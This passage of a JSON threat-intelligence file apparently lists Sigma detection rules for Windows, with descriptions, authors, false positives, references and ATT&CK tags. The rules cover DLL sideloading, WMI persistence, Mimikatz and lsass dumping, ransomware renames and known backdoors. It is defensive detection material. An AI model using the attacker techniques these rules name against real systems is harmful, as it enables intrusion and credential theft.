"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml", - "https://twitter.com/vanitasnk/status/1437329511142420483?s=21" - ], - "tags": [ - "attack.resource_development", - "attack.t1587" - ] - }, - "uuid": "60c0a111-787a-4e8a-9262-ee485f3ef9d5", - "value": "Suspicious Word Cab File Write CVE-2021-40444" - }, - { - "description": "Detects the creation of the default output filename used by the wmicexec tool", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_wmiexec_default_filename.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1047" - ] - }, - "uuid": "8d5aca11-22b3-4f22-b7ba-90e60533e1fb", - "value": "Wmiexec Default Output File" - }, - { - "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_wmiprvse_wbemcomn_dll_hijack.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "614a7e17-5643-4d89-b6fe-f9df1a79641c", - "value": "Wmiprvse Wbemcomn DLL Hijack" - }, - { - "description": "Detects file writes of WMI script event consumer", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2018/03/07", - "falsepositive": [ - "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)" - ], - "filename": "file_event_win_wmi_persistence_script_event_consumer_write.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml" - ], - "tags": [ - "attack.t1546.003", - "attack.persistence" - ] - }, - "uuid": "33f41cdd-35ac-4ba8-814b-c6a4244a1ad4", - "value": "WMI Persistence - Script Event Consumer File Write" - }, - { - "description": "Detects creation of template files for Microsoft Office from outside Office", - "meta": { - "author": "Max Altgelt", - "creation_date": "2022/06/02", - "falsepositive": [ - "Loading a user environment from a backup or a domain controller", - "Synchronization of templates" - ], - "filename": "file_event_win_word_template_creation.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml", - "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ] - }, - "uuid": "0e20c89d-2264-44ae-8238-aeeaba609ece", - "value": "Office Template Creation" - }, - { - "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/18", - "falsepositive": [ - "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" - ], - "filename": "file_event_win_wpbbin_persistence.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", - "https://persistence-info.github.io/Data/wpbbin.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1542.001" - ] - }, - "uuid": "e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f", - "value": "UEFI Persistence Via Wpbbin - FileCreation" - }, - { - "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_writing_local_admin_share.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1546.002" - ] - }, - "uuid": "4aafb0fa-bff5-4b9d-b99e-8093e659c65f", - "value": "Writing Local Admin Share" - }, - { - "description": "Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection", - "meta": { - "author": "frack113", - "creation_date": "2022/02/19", - "falsepositive": [ - "Application installation" - ], - "filename": "file_rename_win_not_dll_to_dll.yml", - "level": "medium", - "logsource.category": "file_rename", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml", - "https://twitter.com/ffforward/status/1481672378639912960" - ], - "tags": "No established tags" - }, - "uuid": "bbfd974c-248e-4435-8de6-1e938c79c5c1", - "value": "Rename Common File to DLL File" - }, - { - "description": "Detects possible ransomware adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\" etc.", - "meta": { - "author": "frack113", - "creation_date": "2022/07/16", - "falsepositive": [ - "Backup software" - ], - "filename": "file_rename_win_ransomware.yml", - "level": "medium", - "logsource.category": "file_rename", - "logsource.product": "windows", - "refs": [ - "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/", - "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ] - }, - "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99", - "value": "Suspicious Appended Extension" - }, - { - "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account)\nwanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n", - "meta": { - "author": "Den Iuzvyk", - "creation_date": "2020/07/15", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_abusing_azure_browser_sso.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml", - "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.002" - ] - }, - "uuid": "50f852e6-af22-4c78-9ede-42ef36aa3453", - "value": "Abusing Azure Browser SSO" - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_alternate_powershell_hosts_moduleload.yml", - "level": "low", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190610201010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_alternate_powershell_hosts_moduleload.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "fe6e002f-f244-4278-9263-20e4b593827f", - "value": "Alternate PowerShell Hosts" - }, - { - "description": "Detects loading of Microsoft Defender's DLLs by its processes (MpCmdRun and NisSrv) from the non-default directory which may be an attempt to sideload arbitrary DLL", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2022/08/02", - "falsepositive": [ - "Very unlikely" - ], - "filename": "image_load_defender_load_dll_from_nondefault_path.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_defender_load_dll_from_nondefault_path.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "418dc89a-9808-4b87-b1d7-e5ae0cb6effc", - "value": "Microsoft Defender Loading DLL from Nondefault Path" - }, - { - "description": "Detects DLL image load activity as used by FoggyWeb backdoor loader", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/09/27", - "falsepositive": [ - "Unlikely" - ], - "filename": "image_load_foggyweb_nobelium.yml", - "level": "critical", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_foggyweb_nobelium.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587" - ] - }, - "uuid": "640dc51c-7713-4faa-8a0e-e7c0d9d4654c", - "value": "FoggyWeb Backdoor DLL Loading" - }, - { - "description": "Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension.", - "meta": { - "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton", - "creation_date": "2019/11/14", - "falsepositive": [ - "Used by some .NET binaries, minimal on user workstation.", - "Used by Microsoft SQL Server Management Studio" - ], - "filename": "image_load_in_memory_powershell.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/p3nt4/PowerShdll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_in_memory_powershell.yml" - ], - "tags": [ - "attack.t1059.001", - "attack.execution" - ] - }, - "uuid": "092bc4b9-3d1d-43b4-a6b4-8c8acd83522f", - "value": "In-memory PowerShell" - }, - { - "description": "Detects certain DLL loads when Mimikatz gets executed", - "meta": { - "author": "sigma", - "creation_date": "2017/03/13", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_mimikatz_inmemory_detection.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://securityriskadvisors.com/blog/post/detecting-in-memory-mimikatz/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_mimikatz_inmemory_detection.yml" - ], - "tags": [ - "attack.s0002", - "attack.t1003", - "attack.lateral_movement", - "attack.credential_access", - "car.2019-04-004" - ] - }, - "uuid": "c0478ead-5336-46c2-bd5e-b4c84bc3a36e", - "value": "Mimikatz In-Memory" - }, - { - "description": "Detects both of CVE-2022-30190 / Follina and DogWalk vulnerability exploiting msdt.exe binary to load sdiageng.dll binary", - "meta": { - "author": "Greg (rule)", - "creation_date": "2022/06/17", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_msdt_sdiageng.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_msdt_sdiageng.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202", - "cve.2022.30190" - ] - }, - "uuid": "ec8c4047-fad9-416a-8c81-0f479353d7f6", - "value": "MSDT.exe Loading Diagnostic Library" - }, - { - "description": "Detects processes loading modules related to PCRE.NET package", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/29", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_pcre_net_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml", - "https://twitter.com/tifkin_/status/1321916444557365248", - "https://twitter.com/rbmaslen/status/1321859647091970051" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "84b0a8f3-680b-4096-a45b-e9a89221727c", - "value": "PCRE.NET Package Image Load" - }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/05", - "falsepositive": [ - "Very unlikely" - ], - "filename": "image_load_pingback_backdoor.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel" - ], - "tags": [ - "attack.persistence", - "attack.t1574.001" - ] - }, - "uuid": "35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b", - "value": "Pingback Backdoor" - }, - { - "description": "Detects rundll32 loading a renamed comsvcs.dll to dump process memory", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "image_load_rundll32_loading_renamed_comsvcs.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/sbousseaden/status/1555200155351228419", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_loading_renamed_comsvcs.yml" - ], - "tags": [ - "attack.credential_access", - "attack.defense_evasion", - "attack.t1003.001" - ] - }, - "uuid": "8cde342c-ba48-4b74-b615-172c330f2e93", - "value": "Rundll32 Loading Renamed Comsvcs DLL" - }, - { - "description": "Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/09/02", - "falsepositive": [ - "Legitimate event consumers", - "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" - ], - "filename": "image_load_scrcons_imageload_wmi_scripteventconsumer.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml", - "https://twitter.com/HunterPlaybook/status/1301207718355759107", - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.003" - ] - }, - "uuid": "b439f47d-ef52-4b29-9a2f-57d8a96cb6b8", - "value": "WMI Script Host Process Image Loaded" - }, - { - "description": "Detects DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", - "meta": { - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "creation_date": "2022/08/17", - "falsepositive": [ - "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", - "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", - "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file" - ], - "filename": "image_load_side_load_antivirus.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://hijacklibs.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "552b6b65-df37-4d3e-a258-f2fc4771ae54", - "value": "Antivirus Software DLL Sideloading" - }, - { - "description": "Detects DLL sideloading of \"dbgcore.dll\"", - "meta": { - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "creation_date": "2022/10/25", - "falsepositive": [ - "Legitimate applications loading their own versions of the DLL mentioned in this rule" - ], - "filename": "image_load_side_load_dbgcore_dll.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml", - "https://hijacklibs.net/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "9ca2bf31-0570-44d8-a543-534c47c33ed7", - "value": "DLL Sideloading Of DBGCORE.DLL" - }, - { - "description": "Detects DLL sideloading of \"dbghelp.dll\"", - "meta": { - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "creation_date": "2022/10/25", - "falsepositive": [ - "Legitimate applications loading their own versions of the DLL mentioned in this rule" - ], - "filename": "image_load_side_load_dbghelp_dll.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml", - "https://hijacklibs.net/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784", - "value": "DLL Sideloading Of DBGHELP.DLL" - }, - { - "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)", - "meta": { - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research), Chris Spehn (research WFH Dridex), XForceIR (SideLoadHunter Project)", - "creation_date": "2022/08/14", - "falsepositive": [ - "Legitimate applications loading their own versions of the DLLs mentioned in this rule" - ], - "filename": "image_load_side_load_from_non_system_location.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml", - "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", - "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", - "https://hijacklibs.net/", - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "4fc0deee-0057-4998-ab31-d24e46e0aba4", - "value": "System DLL Sideloading From Non System Locations" - }, - { - "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location", - "meta": { - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "creation_date": "2022/08/17", - "falsepositive": [ - "Unlikely" - ], - "filename": "image_load_side_load_office_dlls.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml", - "https://hijacklibs.net/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f", - "value": "Microsoft Office DLL Sideload" - }, - { - "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)", - "meta": { - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "creation_date": "2022/08/17", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_side_load_third_party.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml", - "https://hijacklibs.net/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "f9df325d-d7bc-4a32-8a1a-2cc61dcefc63", - "value": "Third Party Software DLL Sideloading" - }, - { - "description": "Detects DLL sideloading of DLLs that are part of web browsers", - "meta": { - "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", - "creation_date": "2022/08/17", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_side_load_web_browsers.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml", - "https://hijacklibs.net/" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "72ca7c75-bf85-45cd-aca7-255d360e423c", - "value": "Web Browsers DLL Sideloading" - }, - { - "description": "Detects SILENTTRINITY stager use", - "meta": { - "author": "Aleksey Potapov, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_silenttrinity_stage_use.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml", - "https://github.com/byt3bl33d3r/SILENTTRINITY" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071" - ] - }, - "uuid": "75c505b1-711d-4f68-a357-8c3fe37dbf2d", - "value": "SILENTTRINITY Stager Execution" - }, - { - "description": "Detect DLL Load from Spooler Service backup folder", - "meta": { - "author": "FPT.EagleEye, Thomas Patzke (improvements)", - "creation_date": "2021/06/29", - "falsepositive": [ - "Loading of legitimate driver" - ], - "filename": "image_load_spoolsv_dll_load.yml", - "level": "informational", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/ly4k/SpoolFool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml", - "https://github.com/hhlxf/PrintNightmare" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574", - "cve.2021.1675", - "cve.2021.34527" - ] - }, - "uuid": "02fb90de-c321-4e63-a6b9-25f4b03dfd14", - "value": "Windows Spooler Service Suspicious Binary Load" - }, - { - "description": "Detects the load of advapi31.dll by a process running in an uncommon folder", - "meta": { - "author": "frack113", - "creation_date": "2022/02/03", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_susp_advapi32_dll.yml", - "level": "informational", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml", - "https://github.com/hlldz/Phant0m" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ] - }, - "uuid": "d813d662-785b-42ca-8b4a-f7457d78d5a9", - "value": "Suspicious Load of Advapi31.dll" - }, - { - "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/30", - "falsepositive": [ - "Unikely" - ], - "filename": "image_load_susp_cmstp.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_cmstp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.003" - ] - }, - "uuid": "75e508f7-932d-4ebc-af77-269237a84ce1", - "value": "Cmstp Suspicious DLL Load" - }, - { - "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n", - "meta": { - "author": "Perez Diego (@darkquassar), oscd.community, Ecco", - "creation_date": "2019/10/27", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_susp_dbghelp_dbgcore_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", - "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", - "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dbghelp_dbgcore_load.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "0e277796-5f23-4e49-a490-483131d4f6e1", - "value": "Load of dbghelp/dbgcore DLL from Suspicious Process" - }, - { - "description": "Detects when a system process (ie located in system32, syswow64...etc) loads a DLL from a suspicious location such as %temp%", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/17", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_susp_dll_load_system_process.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ] - }, - "uuid": "9e9a9002-56c4-40fd-9eff-e4b09bfa5f6c", - "value": "DLL Load By System Process From Suspicious Locations" - }, - { - "description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", - "meta": { - "author": "NVISO", - "creation_date": "2020/05/04", - "falsepositive": [ - "Unlikely" - ], - "filename": "image_load_susp_fax_dll.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://windows-internals.com/faxing-your-way-to-system/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_fax_dll.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1574.001", - "attack.t1574.002" - ] - }, - "uuid": "828af599-4c53-4ed2-ba4a-a9f835c434ea", - "value": "Fax Service DLL Search Order Hijack" - }, - { - "description": "Detects any assembly DLL being loaded by an Office Product", - "meta": { - "author": "Antonlovesdnb", - "creation_date": "2020/02/19", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "filename": "image_load_susp_office_dotnet_assembly_dll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_assembly_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "ff0f2b05-09db-4095-b96d-1b75ca24894a", - "value": "dotNET DLL Loaded Via Office Applications" - }, - { - "description": "Detects CLR DLL being loaded by an Office Product", - "meta": { - "author": "Antonlovesdnb", - "creation_date": "2020/02/19", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "filename": "image_load_susp_office_dotnet_clr_dll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_clr_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "d13c43f0-f66b-4279-8b2c-5912077c1780", - "value": "CLR DLL Loaded Via Office Applications" - }, - { - "description": "Detects any GAC DLL being loaded by an Office Product", - "meta": { - "author": "Antonlovesdnb", - "creation_date": "2020/02/19", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "filename": "image_load_susp_office_dotnet_gac_dll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_gac_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac", - "value": "GAC DLL Loaded Via Office Applications" - }, - { - "description": "Detects DSParse DLL being loaded by an Office Product", - "meta": { - "author": "Antonlovesdnb", 